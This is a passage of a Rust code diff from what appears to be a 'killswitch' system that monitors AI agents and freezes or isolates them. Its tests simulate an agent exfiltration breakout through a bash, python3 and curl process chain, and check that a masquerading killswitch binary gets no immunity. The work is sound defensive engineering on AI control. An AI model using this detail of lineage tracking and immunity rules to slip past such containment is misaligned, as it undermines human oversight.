assert!(!is_critical_system_pid(agent_root_pid, "openclaw-agent")); + assert!(!is_critical_system_pid(agent_bash_pid, "bash")); + assert!(!is_critical_system_pid(agent_python_pid, "python3")); + assert!(!is_critical_system_pid(agent_curl_pid, "curl")); + + // Uninvolved host interactive terminals remain immune and untracked. + assert!(is_critical_system_pid(host_terminal_pid, "wt.exe")); + assert_eq!( + reg.classify_pid( + uninvolved_tty_bash, + Some("bash"), + &[(host_terminal_pid, uninvolved_tty_bash)] + ), + AgentLineageClass::Untracked + ); + + let ledger_dir = std::env::temp_dir().join(format!("ks_p2_subtree_{base_pid}")); + let _dir_guard = TempDirGuard(ledger_dir.clone()); + let _ = std::fs::create_dir_all(&ledger_dir); + + let freezer = Arc::new(RecordingFreezer::default()); + let auth = Arc::new(OperatorAuthManager::new(None, Some(ledger_dir.clone()))); + let ledger = Arc::new(RwLock::new( + StateLedger::open_or_init(Some(&ledger_dir)).expect("ledger init"), + )); + let manager = Arc::new(KillChainHostManager::new( + Arc::new(SimulatedNetworkIsolator), + freezer.clone(), + auth, + ledger, + )); + + let status = manager + .engage_isolation_for_target( + "phase2_test", + "agent exfiltration breakout via bash->python->curl", + ContainmentLevel::ProcessFreeze, + Some(std::process::id()), + Some(agent_root_pid), + ) + .await + .expect("engage_isolation_for_target should succeed"); + + assert!(status.isolated); + let frozen: HashSet = freezer.frozen.lock().iter().copied().collect(); + assert!( + frozen.contains(&agent_root_pid), + "agent root PID must be frozen: {frozen:?}" + ); + assert!( + frozen.contains(&agent_bash_pid), + "nested agent bash PID must be frozen: {frozen:?}" + ); + assert!( + frozen.contains(&agent_python_pid), + "nested agent python PID must be frozen: {frozen:?}" + ); + assert!( + frozen.contains(&agent_curl_pid), + "nested agent curl PID must be frozen: {frozen:?}" + ); + assert!(!frozen.contains(&host_terminal_pid)); + assert!(!frozen.contains(&uninvolved_tty_bash)); + assert!(!frozen.contains(&std::process::id())); +} + +#[test] +fn test_phase2_temp_staged_killswitch_masquerade_is_never_immune() { + let freezer = NativeProcessFreezer::new(); + let spoofed = "C:\\Users\\Public\\killswitch.exe"; + assert!(!is_critical_system_pid(98_765, spoofed)); + assert!(!freezer.is_immune(98_765, spoofed)); + + let tmp_spoof = "/tmp/killswitch-daemon"; + assert!(!is_critical_system_pid(98_766, tmp_spoof)); + assert!(!freezer.is_immune(98_766, tmp_spoof)); +} diff --git a/crates/killswitch-orchestrator/src/lineage_trigger.rs b/crates/killswitch-orchestrator/src/lineage_trigger.rs index bf36468..925ee6f 100644 --- a/crates/killswitch-orchestrator/src/lineage_trigger.rs +++ b/crates/killswitch-orchestrator/src/lineage_trigger.rs @@ -13,7 +13,7 @@ use killswitch_adjudication::voters::{ TaintBaggage as AdjBaggage, }; use killswitch_adjudication::ZeroFalsePositiveAdjudicator; -use killswitch_core::killchain::is_critical_system_pid; +use killswitch_core::killchain::is_immutable_os_kernel_pid; use killswitch_telemetry::otel_lineage::{ DlpClassification, DlpPolicy, EgressVerdict, EndpointLineageEngine, }; @@ -67,7 +67,7 @@ impl LineageTriggerEvaluator { if policy == DlpPolicy::Quarantine || classification == DlpClassification::CrownJewel { - let is_critical = is_critical_system_pid(proc_key.pid, &proc.exe_path); + let is_critical = is_immutable_os_kernel_pid(proc_key.pid, &proc.exe_path); let adj_verdict = AdjEgressVerdict::Block { reason: reason.clone(), @@ -142,10 +142,23 @@ impl LineageTriggerEvaluator { EvidenceClass::Behavior, ); + let process_ancestry: Vec<(u32, String)> = proc + .provenance_hops + .iter() + .map(|hop| { + if let Some((name, pid_str)) = hop.rsplit_once(':') { + let pid = pid_str.trim().parse::().unwrap_or(0); + (pid, name.to_string()) + } else { + (0, hop.clone()) + } + }) + .collect(); + let context = AdjudicationContext { lineage_evidence: Some(evidence), security_event: None, - process_ancestry: vec![], + process_ancestry, is_dev_environment: false, }; diff --git a/crates/killswitch-server/src/server.rs b/crates/killswitch-server/src/server.rs index 993327a..bd8bee5 100644 --- a/crates/killswitch-server/src/server.rs +++ b/crates/killswitch-server/src/server.rs @@ -594,9 +594,15 @@ impl KillSwitchServer { } candidate.command_line = Some(row.command_line.clone()); + let adj_ctx = killswitch_adjudication::voters::AdjudicationContext { + process_ancestry: killswitch_adjudication::get_process_ancestry_chain( + row.pid, + ), + ..Default::default() + }; let verdict = sentinel_state .adjudicator - .adjudicate_threat_candidate(&candidate, None) + .adjudicate_threat_candidate(&candidate, Some(&adj_ctx)) .await; if !verdict.is_confirmed() { continue; @@ -606,16 +612,27 @@ impl KillSwitchServer { .arm_registry .sever_and_regenerate_arm(2, &eval.summary) .await; + killswitch_core::TrackedAgentTreeRegistry::global() + .register_agent_root(row.pid, &row.process_name); + for (anc_pid, anc_name) in &adj_ctx.process_ancestry { + if killswitch_core::is_developer_or_agent_runtime(anc_name) + && !killswitch_core::is_immutable_os_kernel_pid(*anc_pid, anc_name) + { + killswitch_core::TrackedAgentTreeRegistry::global() + .register_agent_root(*anc_pid, anc_name); + } + } if *sentinel_state.active_mode.read().await == OrchestratorMode::Autonomous && !sentinel_state.containment_manager.get_status().isolated { let _ = sentinel_state .containment_manager - .engage_isolation( + .engage_isolation_for_target( "live_os_ai_breakout_sentinel", &eval.summary, killswitch_types::ContainmentLevel::HermeticIsolation, - None, + Some(std::process::id()), + Some(row.pid), ) .await; *sentinel_state.last_trigger_cause.write().await = Some((